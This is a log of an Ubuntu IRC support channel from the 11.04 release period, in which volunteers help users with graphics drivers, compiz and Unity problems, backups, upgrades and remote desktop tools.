[22:41] <lucas> IsmAvatar: Is everything ok?
[22:42] <Buddhacz> wolfreak_99: MintBackup
[22:42] <genewitch> busybox/boot errors say ata5:link is too slow to respond, please be patient... ubuntu itself never loads... what can i do?
[22:42] <IsmAvatar> lucas: good news is I'm back, and I can see the screen. Bad news is the Additional Drivers says that it's still "activated but not in use"
[22:42] <Atlantic777> jMCg: maybe window manager/decorator screwed something up. Try compiz --replace or metacity --replace.
[22:42] <Buddhacz> wolfreak_99: and you have to backup you source list (or maybe you can use ubuntu-tweak)
[22:42] <psalden> wasn't he using unity? would be unity --replace then I think
[22:42] <jMCg> I think I'll first try to rm -rf ~/.gnome* That usually helps. NOt like it's that hard to recreate my config.
[22:42] <lucas> IsmAvatar: could you run glxgears on terminal?
[22:42] <genewitch> and a bunch of device not ready errors, 6 partitions eventually show up
[22:43] <jMCg> oh joy.. there's a core file... core: ELF 32-bit LSB core file Intel 80386, version 1 (SYSV), SVR4-style, from 'metacity --replace'
[22:43] <wolfreak_99> Buddhacz: Will that transfer my install folder to the home though? I'm not wanting to backup. I fuck up my computer too much to restore every time.
[22:43] <Buddhacz> wolfreak_99: for backing up, I have some scripts on my git: mxd.cz/git
[22:43] <IsmAvatar> lucas: sure, after I install it
[22:44] <Buddhacz> I have 2 scripts for backing up and restore
[22:44] <genewitch> can someone help me mount /dev/sda5/6/7 from busybox ash?
[22:44] <lucas> IsmAvatar: it is on a package called mesa-utils
[22:44] <Buddhacz> sure you have symlink some Apps folders and move it to your /home
[22:44] <IsmAvatar> lucas: aware
[22:44] <IsmAvatar> lucas: It's running in at about 1900 FPS, and seems to have a bit of lag
[22:44] <wolfreak_99> Buddhacz: I'll just keep looking through the interwebz for ways, and if it comes down to it, I'll use that script you gave me and back it up. Thanks for trying to help me however.
[22:45] <ZykoticK9> wolfreak_99, it's very unlikely that you find a method to install to non-standard location I'm afraid.  Best of luck.
[22:45] <Buddhacz> wolfreak_99: the best backup solution is dd :) but takes time to create and to restore
[22:45] <IsmAvatar> lucas: it's certainly not the fluid animation I'm used to when I see glxgears on a good graphics card+driver
[22:45] <saurabh> how to use how gcc graphics
[22:45] <saurabh> plwase
[22:45] <wolfreak_99> Buddhacz: It's just that my compiz fucked up and I can't figure out how to fix my xorg file so I'm wanting to do a reinstall and I just reinstalled it 3 days ago and I don't want to take even more backing up and restoring.
[22:45] <Buddhacz> ZykoticK9: symlinked folder could work - as root of course
[22:46] <saurabh> hey
[22:46] <ZykoticK9> Buddhacz, unlikely, you'd need to symlink a lot of different folders (libs, bin, etc)
[22:46] <lucas> IsmAvatar: hmm... Maybe you have the nouveau driver in use. Tell me, did you see the Nvidia-logo upon booting>
[22:46] <Buddhacz> wolfreak_99: I setup /media/BACKUP symlink to an external drive and then use my scripts - works great
[22:47] <Buddhacz> wolfreak_99: https://github.com/fifunja/Linux-shell-scripts
[22:47] <IsmAvatar> lucas: Depends, when would I see it? Because I think my card displays itself at about the same time as my bios. Then I get Grub, and then the purple screen for several seconds, and then the login screen.
[22:47] <wolfreak_99> Buddhacz: Thank you but, again, I'm not looking to back up my programs. I'm just wanting to fix this problem without having to reinstall all my shit yet again.
[22:47] <jwtiyar> the upgrade its not exist while booting to upgrade frrom 10.10 to 11.04??
[22:48] <Buddhacz> wolfreak_99: when something happens, just boot Live flash, restore to / and reboot
[22:48] <lucas> IsmAvatar: That's the nouveau driver already. Could you run glxinfo | grep vendor ?
[22:48] <wolfreak_99> Better yet, would anyone possibly know of a way to fix an xorg.conf without needing to reinstall linux? I've tried the dpkg configure thing but it didn't work.
[22:49] <jMCg> muuuuch better.
[22:49] <spooner> fixvesa
[22:49] <spooner> fix-vesa
[22:49] <Buddhacz> wolfreak_99: nVidia?
[22:49] <jwtiyar> the upgrade its not exist while booting to upgrade frrom 10.10 to 11.04??
[22:49] <robrrt> how can i plai a AIF file?
[22:49] <Buddhacz> wolfreak_99: you can google for some xorg.conf files for your card
[22:49] <robrrt> play*
[22:49] <wolfreak_99> Buddhacz: wait, restore, will that erase the system, or will it just overwrite any existing files?
[22:49] <IsmAvatar> lucas: http://pastebin.com/Hk2aV3ut
[22:50] <Buddhacz> wolfreak_99: restore - erase / and restore back from the backup
[22:50] <ZykoticK9> wolfreak_99, dd will replace EVERYTHING at a low level (proceed with caution), rsync is at least at a file system level, and more common for backups
[22:50] <zetsuboudev> Any idea if there is any plan to change the appearance of the corner grab for window resizing in Natty? It overlaps buttons and text buttons, even in the default programs, looking very inconsistent with the rest of the OS. Even in the appearance window, there is distortion where the button is in the theme previews.
[22:51] <lucas> IsmAvatar: well as it seems you are using glx from Nvidia. Which card do you have?
[22:51] <wolfreak_99> Okay, drop the whole backup thing, I have another idea.. If I was to stick my live cd in and install it onto the / partition, will it erase any files or directories, or will it just replace the existing files?
[22:51] <Buddhacz> wolfreak_99: my friend had a problem with a new monitor so I have written the xorg.conf from scratch, fixed something and it works
[22:52] <arand> zetsuboudev: I would guess so. Inly way to make sure if to report a bug, after looking to see if it already exists.
[22:52] <jwtiyar> the upgrade its not exist while booting to upgrade frrom 10.10 to 11.04??
[22:52] <sburwood1> I'm quite happy with natty
[22:52] <wolfreak_99> I don't want it to replace /usr/bin/(anything in here) to be replaced with /usr/bin when it's blank.
[22:52] <IsmAvatar> lucas: it's on-board, and I believe it's the GeForce 9200.
[22:53] <ZykoticK9> IsmAvatar, to find your gfx card "lspci | grep -i vga"
[22:53] <Buddhacz> wolfreak_99: well - the best is to create a backup first
[22:53] <IsmAvatar> ZykoticK9: aware, thanks
[22:53] <Buddhacz> wolfreak_99: I think that Live CD install erases the /
[22:53] <IsmAvatar> lucas: 03:00.0 VGA compatible controller: nVidia Corporation C79 [GeForce 9200] (rev b1)
[22:54] <wolfreak_99> Buddhacz: yeah that's true, just for safety reasons, I might do it then test to see it.  But about the Xorg, what was happening was just one day my compiz randomly took a shit. When I hover over the notifications to the right (11.04 with "ubuntu classic" so it's gnome 2), they vanish rather than becoming transparent., and my windows don't wobble.
[22:55] <ikonia> wolfreak_99: control the language please
[22:55] <wolfreak_99> Buddhacz: hold on, I'll give you a copy of what the terminal says when I start compiz
[22:55] <JasonO> Hello. I am having a problem with the Update manager so I decided to update with the Terminal and I received this output: http://paste.ubuntu.com/602518
[22:55] <wolfreak_99> ikonia: okay, sorry
[22:55] <Buddhacz> wolfreak_99: oki doki
[22:55] <ZykoticK9> Jasonn, close any update / synatpic / usc windows
[22:56] <lucas> IsmAvatar: Are you on Natty?
[22:56] <Jasonn> ZykoticK9: ??
[22:56] <IsmAvatar> lucas: yes, hence why I was complaining about Unity earlier
[22:56] <jwtiyar> pleaseeeee
[22:56] <xangua> JasonO: first close the package manager/software centre
[22:57] <lucas> IsmAvatar: Another thing we could try is in a terminal galternatives
[22:57] <JasonO> xangua: I have.
[22:57] <xangua> JasonO: run the command again then
[22:58] <IsmAvatar> lucas: something else I need to apt-get
[22:58] <s0126h> i was able to use somebody's wifi  without the key  using ddwrt as repeater ?  how in the world is this possible
[22:58] <Buddhacz> wolfreak_99: have ya tried to purge compiz and then reinstall?
[22:58] <wolfreak_99> Buddhacz: I'm back, sorry about that. http://pastebin.com/ASHz2SQG
[22:58] <IsmAvatar> lucas: ok, I'm looking at G Alternatives. Not sure what you want me to do with it?
[22:59] <cheapie> Is anybody here available to help me get an application to build?
[22:59] <wolfreak_99> umm brb running that removed my window decorations, i has no exit so brb.
[22:59] <lucas> IsmAvatar: search in the left column for gl_conf
[22:59] <buck_work> So does anyone running 11.04 have a fully-working Seperate X Server configuration? (Nvidia card) I was using this in 10.04 and 10.10 with no issue, but 11.04 has totally broken it.
[22:59] <funnylookinhat> Anyone know of a text editor similar to Coda for Mac OS X?
[22:59] <IsmAvatar> lucas: right side says nvidia-current (already selected) or mesa.
[23:00] <wolfreak_99> back
[23:00] <Buddhacz> wolfreak_99: try this - http://ubuntuforums.org/showthread.php?t=1724835
[23:00] <lucas> IsmAvatar: Well, now you got me... Your driver is well in use... I don't know what else could be the cause...
[23:00] <JasonO> xangua It's updating in the Terminal. Wonder why it gave me that output the first time. Thank you.
[23:01] <Buddhacz> wolfreak_99: BTW you do not have to sudo compiz...
[23:01] <cheapie> ...anybody?
[23:01] <Jasonn> What are the major updates in 11.04 from 10.10??
[23:01] <Buddhacz> wolfreak_99: compiz runs with your privs. only X11 runs as root
[23:01] <Omega> Jasonn: Unity is a big change
[23:02] <Omega> Firefox 4
[23:02] <Buddhacz> Jasonn: new kernel, LibreOffice, Unity
[23:02] <Jasonn> unity is a music player?
[23:02] <Buddhacz> !unity
[23:02] <ubottu> Unity is a shell for GNOME, but it is not GNOME-shell. See http://unity.ubuntu.com and http://www.jonobacon.org/2010/10/31/unity-some-further-clarification-points/ for more information. Have a question, check http://askubuntu.com/questions/tagged/unity
[23:02] <Omega> unity is the desktop shell
[23:02] <Jasonn> Oh
[23:02] <Omega> Jasonn: New music player Banshee too!
[23:02] <Buddhacz> Jasonn: makes headaches for many...
[23:02] <Jasonn> Anything else?
[23:02] <Omega> !ot | bonhoffer
[23:02] <ubottu> bonhoffer: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:03] <Omega> Oops
[23:03] <Omega> !ot | Buddhacz
[23:03] <ubottu> Buddhacz: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:03] <nabi> in ubuntu 11.04, I changed compiz settings, and now hidden desktop and title menu windows!!!
[23:03] <Buddhacz> Jasonn: http://www.ubuntu.com/ubuntu/whats-new
[23:03] <Omega> nabi: You want to revert the changes?
[23:03] <IsmAvatar> lucas: think I found a bug on the matter: https://bugs.launchpad.net/ubuntu/+source/jockey/+bug/771788
[23:03] <ubottu> Ubuntu bug 771788 in jockey (Ubuntu) "nVidia driver activated and apparently being used but reported as not being used by jockey-gtk" [Undecided,Confirmed]
[23:03] <wolfreak_99> Buddhacz: http://pastebin.com/7w11T0eg
[23:03] <Jasonn> Buddhacz: Its updating, web browser unavailable D:
[23:03] <lucas> IsmAvatar: This is a bit extreme... You could go through synaptic and reinstall nvidia-current. Then in a terminal do a sudo update-initramfs -u
[23:03] <lucas> IsmAvatar: and then reboot again
[23:03] <ios32> does anybody know how to get a program listed in the media handling list in ubuntu with cli
[23:03] <Jasonn> Buddhacz: What can I do to make my system fasteR?
[23:04] <Omega> nabi: Do you want to undo all your changes to compiz?
[23:04] <nabi> Omega: How?! I can not access to any menu ! don't show menu bar and icon menu left side bar ! :(
[23:04] <Rehan> sup all
[23:04] <FoolsRun> Hi, did something change since 10.04 to prevent connecting to an X display using DISPLAY=0.0 <command> ?
[23:04] <Omega> nabi: enter this in a terminal: gconftool-2 --recursive-unset /apps/compiz-1
[23:04] <jwtiyar> pleaseeeee
[23:04] <bob__> anybody know where xfBanker stores your files?
[23:05] <Jasonn> !spam | jwtiyar
[23:05] <Omega> jwtiyar: What is the problem?
[23:05] <Buddhacz> Jasonn: there are possible some tweaks to the fstab, newer kernel
[23:05] <cheapie> bob__: Have you checked in your home folder?
[23:05] <jnlsnl_> anyone here have experience with xrandr ?
[23:05] <jwtiyar> the upgrade its not exist while booting to upgrade frrom 10.10 to 11.04??
[23:05] <Jasonn> !abuse | jwtiyar
[23:05] <ubottu> jwtiyar: The people here are volunteers, your attitude should reflect that. Answers are not always available. See http://wiki.ubuntu.com/IRC/Guidelines
[23:05] <jwtiyar> Omega,Jasonn   the upgrade its not exist while booting to upgrade frrom 10.10 to 11.04??
[23:05] <Omega> jwtiyar: you upgraded from 10.10 to 11.04, but what happened?
[23:05] <Jasonn> Buddhacz: I mean what can I tweak in the system to make it run faster, or make it use less CPU
[23:05] <Omega> jwtiyar: What language do you speek?
[23:06] <atpa8a> hmm
[23:06] <jwtiyar> Omega, i didnt because the upgrade button does not exist
[23:06] <bob__> cheapie: there is a translog... there - is that it?
[23:06] <atpa8a> can i get the "busy" pointer back?..
[23:06] <Buddhacz> wolfreak_99: as you can see, your Intel driver is not capable of compiz, neither Unity as it is a plugin to compiz
[23:06] <cheapie> bob__: Maybe. I have no experience with that.
[23:07] <bob__> cheapie: thanks
[23:07] <Omega> jwtiyar: try running: gksudo update-manager -d
[23:07] <Jasonn> jwtiyar: What is your main language (or the one that you understand the most) ??
[23:07] <Buddhacz> Jasonn: http://blog.mxd.cz/clanky-2011/ubuntu-asus-eee/ubuntu-asus-eee-en
[23:07] <nabi> Omega: I press alt+ctrl+f2 and put command in new tty, but when I put  startx, don't com back on graphic mode and get me error
[23:07] <jwtiyar> Jasonn, my native is kurdish i can understand both of arabic and english
[23:07] <Jasonn> Buddhacz: Web browser not working
[23:07] <Buddhacz> Jasonn: this article applies to any latest Ubuntu as well
[23:07] <lucas> IsmAvatar: Maybe you are affected by this bug too...
[23:07] <Omega> nabi: run unity --reset from a tty
[23:07] <wolfreak_99> But It was working for me before hand
[23:07] <jwtiyar> Omega, but its need internet , i have iso image
[23:08] <Buddhacz> Jasonn: oops
[23:08] <Omega> jwtiyar: oh, you're booting from a live cd?
[23:08] <xangua> jwtiyar: burn it then
[23:08] <jwtiyar> Omega, yeah
[23:08] <Shwaiil> Hi ppl
[23:08] <ZykoticK9> jwtiyar, you can only use the Alternative CD, and NOT the LiveCD for upgrading
[23:08] <Buddhacz> Jasonn: check it later then - there are pictures on my site
[23:08] <xangua> jwtiyar: run the live cd and it will ask you if you want to upgrade, that only if you use Maverick
[23:08] <Shwaiil> Q: I installed Umbrello from Ubuntu software Center. but It doesnt show up in applications. What can I do ? Thanks
[23:08] <jwtiyar> ZykoticK9, where is thealternative ?
[23:08] <wolfreak_99> buddhacz: It was working for me before, well, before I tried to install gnome 3, it didn't let me choose themes though.. Maybe it might have been from me installing gnome 3 and then reverting back to gnome 2?
[23:09] <Omega> ZykoticK9: afaik the livecd also works
[23:09] <Omega> jwtiyar: You don't have internet in 10.10?
[23:09] <jwtiyar> xangua, iam using maverick and didnt show the upgrade button
[23:09] <IsmAvatar> lucas: I believe so. Someone reported on that bug that they were using GeForce 9300, and I'm getting lag like they describe.
[23:09] <ZykoticK9> !alternate | jwtiyar Omega
[23:09] <ubottu> jwtiyar Omega: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[23:09] <jwtiyar> Omega, i have
[23:09] <Buddhacz> wolfreak_99: The vesa driver is not capable of running Compiz, you need to install  the proper driver for your graphics card.
[23:09] <xangua> ZykoticK9: you can now upgrade with live cd, since natty
[23:09] <FoolsRun> Did something change since 10.04 to prevent connecting to an X display using DISPLAY=0.0 <command> ?
[23:09] <ZykoticK9> xangua, oh, then the !alternate factoid needs updating ;)  thanks good to know.
[23:09] <Omega> ZykoticK9: Note the word 'also'
[23:10] <ZykoticK9> Omega, as well as being a text mode installer it's "also" capable of updates
[23:10] <xangua> i believe you need to press the install icon to appear the upgrade option jwtiyar http://www.webupd8.org/2011/03/ubuntu-live-cd-will-let-you-upgrade-to.html
[23:10] <wolfreak_99> Buddhacz: I have tried checking the additioanl drivers and I only seen my wifi driver, there was no graphics card driver.. and My manufacturers are too lazy to make ubuntu versions, and I doupt running a driver installer under wine would effect ubuntu
[23:10] <Shwaiil> Q: If we install a program and if this program doesnt show up in "Applications" what can we do to access it ? It was installed from ubuntu software center. Thanks for looking
[23:11] <jwtiyar> xangua, i dont want to downlaod again
[23:11] <wolfreak_99> I think I got an idea.. I'll be back in a few minutes to report if I succeeded or not
[23:11] <xangua> ZykoticK9: the alternate is still good if you can not boot the live cd
[23:11] <wolfreak_99> Buddhacz: Thank you for all your help, I really appreciate it.
[23:11] <Buddhacz> wolfreak_99: nope, wine is not an option here
[23:11] <shcherbak> Shwaiil: What program?
[23:11] <lucas> IsmAvatar: The only thing I could think about is that your initrd has not been updated. Maybe that causes trouble
[23:11] <SirScott> My bluetooth device was recognized in with the 10.10 live CD, yet after installing, it's not recognized.  Not even sure what it is in the lspci output..
[23:11] <nabi> Omega: Thanks a lot, I  try gconftool-2 --recursive-unset /apps/compiz-1 and then restart system and resolve the problem, :X
[23:11] <Shwaiil> shcherbak,  tks for looking. The program is called Umbrello (UML modeler )
[23:12] <lucas> IsmAvatar: I am running on a 8600m gt and glxgears gives something like 14000 fps
[23:12] <jwtiyar> xangua, this option not shown in my case
[23:12] <botcity> !info  Umbrello
[23:12] <cheapie> You know, I'm still waiting for help...
[23:13] <Shwaiil> !info umbrello
[23:13] <ubottu> Package Umbrello does not exist in natty
[23:13] <ubottu> umbrello (source: kdesdk): UML modelling tool and code generator. In component main, is optional. Version 4:4.6.2-0ubuntu1 (natty), package size 2106 kB, installed size 6628 kB
[23:13] <Buddhacz> SirScott: pastebin lspci here
[23:14] <Shwaiil> so, how can I access umbrello then ? restart the system maybe ?
[23:14] <IsmAvatar> lucas: I'm familiar with the speeds glxgears usually runs at for decent graphics cards. Obviously 1900 fps is slower than would be expected, especially of a geforce 9200.
[23:14] <shcherbak> Shwaiil: try: which umbrello, and use alacarte to hook it up to menu
[23:15] <shcherbak> Shwaiil: Or: locate umbrello to get path to binary
[23:15] <IsmAvatar> lucas: I've subscribed to the bug, so maybe a fix will come around some time in the near future. Like after they get done making unity not suck >_<
[23:15] <Shwaiil> shcherbak, I came to unbuntu from windows 6 months ago. I do that on terminal ?
[23:15] <shcherbak> Shwaiil: which umbrello
[23:15] <Shwaiil> yah
[23:16] <Shwaiil> found in usr/bin/umbrello
[23:16] <Shwaiil> and know i've oppend alacarte
[23:16] <Shwaiil> wish seems easy to use
[23:16] <Shwaiil> let's see
[23:16] <SirScott> Buddhacz: http://pastebin.com/5ZLKttMS
[23:16] <robin0800> Shwaiil, you may have to log out and back in
[23:16] <SirScott> hcitool dev is empty
[23:16] <lucas> IsmAvatar: You are right... Who knows? the current nvidia driver has been made in a hurry as I can imagine, since some distros switched to xorg 1.10. My card seems to cope with it. Maybe there will be a new driver soon. Why don't you check on the nvidia site directly?
[23:17] <shcherbak> Shwaiil: Alt-F2 and umbrello , should start program too.
[23:17] <Roasted> I found a bug with a specific wireless card/driver. Where do I submit the bug report to? ubuntu-bug network manager???
[23:17] <lucas> IsmAvatar: The whole idea of unity sucks I think. I like the classic desktop as it is.
[23:18] <morissette> So I just installed slim login mgr and rebooted in 11.04 and the menu is not loading
[23:18] <KNUBBIG> maybe some1 should add a !whine-ubuntu factoid :>
[23:18] <KNUBBIG> whine-unity*
[23:18] <lucas> IsmAvatar: Maybe they try to have some concurrence to gnome 3. As to show them that they can do better ;)
[23:18] <Shwaiil> How can I access alacarte from menu ?
[23:18] <IsmAvatar> lucas: I get where they're going with it, but I think they it just got crapped on when Gnome decided they didn't want any part in it.
[23:18] <Buddhacz> SirScott: it is not there listed
[23:19] <Shwaiil> I'm asking because I wont remember next time :P
[23:19] <SirScott> Buddhacz: what's my best bet, re-run the live CD, grab the output from there and come back here?
[23:19] <vanguard> I just did a suspend to RAM and now my USB speakers do not play any sound any more
[23:19] <shcherbak> Shwaiil: System > Pref > Main menu
[23:19] <Buddhacz> SirScott: isn't it USB?
[23:20] <Shwaiil> shcherbak,  tks
[23:20] <IsmAvatar> lucas: read shuttleworth's blog and I think you'll have a bit more sympathy for unity. The bad idea wasn't so much unity, it was deciding to ship despite dropping gnome support.
[23:20] <lucas> IsmAvatar: One of the reasons I never could get well with KDE. I like classic desktops... And on top of all, I like the command-line ;)
[23:20] <Buddhacz> SirScott: like mine --- Bus 008 Device 002: ID 0a12:0001 Cambridge Silicon Radio, Ltd Bluetooth Dongle (HCI mode)
[23:20] <jnlsnl_> anyone have some experience with xrandr? I can't detect my external monitor, and synchmaster 2443
[23:20] <jnlsnl_> an*
[23:20] <SirScott> Buddhacz: don't honestly know.  brand new laptop i'm trying to get running
[23:20] <Buddhacz> SirScott: try lsusb and pastebin here
[23:21] <SirScott> Buddhacz: lsusb has a few things listed, but nothing jumps out as being bluetooth
[23:21] <buck_work> I'd be a lot happier if they hadn't broken seperate X server dual-monitor mode while they were busy "innovating"
[23:21] <Rehan> is there a reason my desktop display is on VT 8 instead of 7? Ubuntu 11.04
[23:21] <SirScott> Buddhacz: http://pastebin.com/M1Baz0Qf
[23:22] <SirScott> Buddhacz: i'll fire up the liveCD and get the output there.  bbiab
[23:22] <shcherbak> Rehan: Most likely X has restarted, see logs
[23:22] <Buddhacz> SirScott: yeap, oki
[23:22] <Rehan> shcherbak: which log?
[23:23] <ShockDoc> hey guys
[23:23] <morissette> unity-2d-panel: [CRITICAL] Gtk: IA__gtk_widget_size_request: assertion `GTK_IS_WIDGET (widget)' failed
[23:23] <LAcan> hey guys I want to setup a remote GUI terminal from my windows box to my ubuntu box. what am I looking for?
[23:23] <morissette> any ideas on that?
[23:23] <ShockDoc> anyone know how I can make ubuntu 11.04 boot verbose?
[23:23] <shcherbak> Rehan: /var/log/Xorg.log , also messages
[23:24] <TomThumb> Where can i find the show desktop icon on the new version of ubuntu
[23:24] <shcherbak> Shwaiil: You mean with no spalsh?
[23:24] <Rehan> thanks shcherbak. Is there a way to determine which VT i'm on at bootup?
[23:24] <Buddhacz> LAcan: you mean = I want to run remote Ubuntu Terminal on my Windows?
[23:24] <shcherbak> ShockDoc: ^^^
[23:24] <LAcan> Buddhacz, yes exactly
[23:24] <Guest92714> hi
[23:24] <morissette> ShockDoc, install startupmanager and uncheck show splash
[23:25] <Jasonn> Buddhacz: Can you send the link of how to make your comp use less CPU again, please and thanks :D
[23:25] <backtrack333> #backtrack
[23:25] <Buddhacz> LAcan: mmnt, my memory...
[23:25] <ShockDoc> it is unchecked morissette
[23:25] <Buddhacz> Jasonn: mxd.cz - asus eee english link
[23:25] <morissette> hmm
[23:25] <ShockDoc> it still shows me the ugly purple
[23:26] <morissette> it should all be logged in messages
[23:26] <morissette> just type dmesg
[23:26] <Buddhacz> LAcan: PuTTY
[23:26] <morissette> brb, rebooting
[23:26] <pepe> hello every one
[23:26] <Omega> TomThumb: There isn't an icon
[23:26] <LAcan> Buddhacz, that has a client for windows I'm guessing?
[23:26] <KNUBBIG> LAcan: yes
[23:26] <backtrack333> backtrack is the power
[23:26] <backtrack333> thx
[23:26] <Buddhacz> LAcan: PuTTU is a telnet/ssh client for Windows
[23:26] <LAcan> KNUBBIG, Buddhacz and it uses SSH or some other encryption...?
[23:26] <Guest92714> bye
[23:27] <backtrack333> exit
[23:27] <Buddhacz> LAcan: just ssh
[23:27] <Roasted> Where can users post feature ideas to Ubuntu? I think (to avoid future issues when Ubuntu is released) that the installer CD should ask users if they want Unity or Gnome Shell upon installation, similar to how opensuse and Mandriva ask about KDE/Gnome during the install process. Where can I submit and push this?
[23:27] <KNUBBIG> !putty | LAcan
[23:27] <ubottu> LAcan: PuTTY is an !SSH client for Windows. Please see: http://www.chiark.greenend.org.uk/~sgtatham/putty/ for it's homepage and downloads. See also !scp (Secure CoPy)
[23:27] <LAcan> Buddhacz, ok but itll let me do a remote desktop.. im not much on the command line...
[23:27] <pepe> hello
[23:27] <envygeeks> Roasted: http://brainstorm.ubuntu.com/
[23:27] <Shwaiil> !info argouml
[23:27] <ubottu> Package argouml does not exist in natty
[23:28] <Roasted> thanks envygeeks
[23:28] <Buddhacz> LAcan: remote desktop = teamviewer
[23:28] <vanguard> I just did a suspend to RAM and now my USB speakers do not play any sound any more. How can I fix/diagnose this?
[23:28] <Buddhacz> !teamviewer | LAcan
[23:28] <pepe> any one had trouble with 11.04?
[23:28] <pepe> i did
[23:28] <vanguard> pepe: yeah, it does not seem too perfect :-/
[23:28] <KNUBBIG> ubottu doesn't listen to Buddhacz :(
[23:28] <ubottu> Error: I am only a bot, please don't think I'm intelligent :)
[23:28] <KNUBBIG> I know! :D
[23:29] <Buddhacz> LAcan: www.teamviewer.com/
[23:29] <Buddhacz> KNUBBIG: he just does not know :)
[23:29] <pepe> i know, i thought it was going to be awesome, but i had to go back to 10.10
[23:29] <KNUBBIG> yy I know :)
[23:29] <Buddhacz> LAcan: another option is RealVNC but takes more time to setup
[23:30] <KM0201> teamviewer is deadnuts simple to use.. also avoids opening router ports, etc
[23:30] <Omega> and propietary
[23:30] <envygeeks> It depends, on my router I do need to open up the ports for teamviewer because I refuse to enable PnP on my router
[23:30] <Buddhacz> KM0201: right (Lacan)
[23:31] <KNUBBIG> envygeeks: I need neither PnP nor open ports
[23:31] <SirScott> Buddhacz: and of course, it's going to make a liar out of me as now when i'm running the liveCD, still no BT devices are found.
[23:31] <envygeeks> KNUBBIG: for some people it can use the "skype work around" to avoid firewalls but not on my network :P
[23:31] <Buddhacz> SirScott: sometimes things die... or get stolen :)
[23:31] <Omega> LAcan: Try using VNC
[23:31] <KNUBBIG> envygeeks: ah okay :)
[23:32] <Buddhacz> envygeeks: I am behind 5 routers and teamviewer works
[23:32] <KM0201> Buddhacz: 5 routers?
[23:32] <Omega> Why mention teamviewer when we have plenty of great open source alternatives?
[23:32] <KM0201> lol
[23:32] <envygeeks> Buddhacz: Oh I got teamviewer to work, I was just saying how I have to manually open up the ports on my network, just adding that some people might need to (mostly people with locked down networks like mine)
[23:32] <KNUBBIG> Because teamviewer is just very simple and userfriendly
[23:33] <Omega> And VNC isn't?
[23:33] <KM0201> Omega: did you not follow the discussin? because it doesn't require opening router ports (which is something some people dn't know how to do, or can't do due to not being able to log in to a router)
[23:33] <invisiblek> teamviewer also requires you to be able to see the display you plan to connect to
[23:33] <KNUBBIG> Not that easy
[23:33] <envygeeks> VNC isn't as easy as teamviewer, with teamviewer it's nothing more than login and press a button (almost literally)
[23:33] <Omega> KM0201: Did you not follow? envygeeks said himself that he needed to open ports.
[23:33] <KM0201> invisiblek: no it doesn't, you can set it to "auto log in"
[23:33] <Buddhacz> KM0201: exactly - not very nice to portforward tons of ports on any router/AP in the network
[23:33] <invisiblek> was not aware of that, or i guess i was under the impression that was a "premium" service
[23:33] <KM0201> Omega: not for teamviewer.. if he has to open ports for teamviewer, he doesn't know what he's doing
[23:34] <Omega> KM0201: Yes for teamviewer
[23:34] <KM0201> Omega: i'm not gonna argue with you, i know better.
[23:34] <LAcan> ok so VNC it is
[23:34] <Omega> ok, ignore the anecdotes, you know better!
[23:34] <vanguard> I just did a suspend to RAM and now my USB speakers do not play any sound any more. How can I fix/diagnose this?
[23:34] <envygeeks> KM0201: I have to open up router ports because that is how I designed my network. Not because I don't know what I'm doing...
[23:34] <Omega> envygeeks: Ignore him, he knows better!
[23:35] <LAcan> vanguard, reboot
[23:35] <vanguard> LAcan: already did twice
[23:35] <KNUBBIG> Ok guys maybe we're done now?
[23:35] <KM0201> envygeeks: then you did that intentionally, the average person, you download teamviewer, install, and it works,.
[23:35] <Buddhacz> vanguard: killall pulseaudio ?
[23:35] <KM0201> envygeeks: obvioiusly if you did that intentionally, then why are you even using teamviewer?..
[23:35] <Buddhacz> gotta go, see ya round :)
[23:36] <KNUBBIG> bye :)
[23:36] <vanguard> Buddhacz: hmm, still no sound
[23:36] <Omega> VNC is much more versatile too, there are even VNC clients that work on phones.
[23:36] <xcyclist> Okay, here is my list of problems I am having with 11.04.  I'll provide notificatioins here as I add to the list:  http://paste.ubuntu.com/602528/
[23:36] <envygeeks> KM0201: Because I don't think all proprietary software is bad? I never have and I never will. Free is free but I don't mind paying.
[23:36] <yaaar> howdy
[23:36] <KNUBBIG> Omega: Teamviewer does work on iOS + Android
[23:36] <KNUBBIG> but that
[23:36] <KNUBBIG> 's all !ot
[23:37] <KM0201> envygeeks: i don't like "paying" for software omega was the one who was hung up on it not being open source
[23:37] <Omega> !ot | KM0201
[23:37] <ubottu> KM0201: #ubuntu is the Ubuntu support channel, for all Ubuntu-related support questions. Please use #ubuntu-offtopic for other topics (though our !guidelines apply there too). Thanks!
[23:37] <KNUBBIG> ohmy.
[23:37] <ShockDoc> hmmm, why can't I get my grub to run at the correct resolution? :/
[23:37] <KM0201> KNUBBIG: it's par for the course for him
[23:37] <LjL> everybody back on the topic train! chooo chooo
[23:37] <KNUBBIG> ShockDoc: did you check if that resolution is supportet
[23:37] <KNUBBIG> LjL: thanks
[23:38] <KNUBBIG> supported*
[23:38] <vanguard> anyone any ideas on the USB speakers?
[23:38] <ShockDoc> it should be KNUBBIG
[23:38] <envygeeks> Repeat your question please vanguard
[23:38] <vanguard> I just did a suspend to RAM and now my USB speakers do not play any sound any more. How can I fix/diagnose this?
[23:38] <peto_> how can I "Show Desktop" in Unity? (super + D doesn't work anymore)
[23:38] <RavenHursT> Anyone got a solution for the following? http://pastebin.com/A3YHzUxQ
[23:38] <LjL> peto_: silly question maybe, but what *is* there to show? isn't everything empty with Unity?
[23:39] <KNUBBIG> peto_: you could use http://www.webupd8.org/2011/04/show-desktop-icon-for-ubuntu-unity.html and then bind it to a key combination via !ccsm
[23:39] <peto_> Llj, I mean that I want to minimize all open windows
[23:39] <Omega> peto_: an easy way to see your desktop is to go to another workplace ctrl+alt+arrow
[23:40] <envygeeks> vanguard: Hmmm...I've never had that problems before, let me see if I can find a bug for it, you might need to submit one.
[23:40] <RavenHursT> Trying to get a shared folder to mount from my hsot OS... but the VBox module doesn't seem to be loading for some odd reason... http://pastebin.com/A3YHzUxQ
[23:40] <peto_> KNUBBIG, I prefer a key combination, better if it where the classic super + D
[23:41] <KNUBBIG> peto_: you can bind the script to a key combination
[23:41] <yaaar> i just installed libapache2-mod-suphp on 10.04LTS server, removed the symlinks at /etc/apache2/mods-enabled/php5.conf and php5.load, created two for suphp.conf and suphp.load, and edited them to add support in userdirs. but i see that there's a section that turns off SuPHP for /usr/share ...which means my phpmyadmin installation doesn't work. but enabling php5.conf/load doesn't fix it, and...
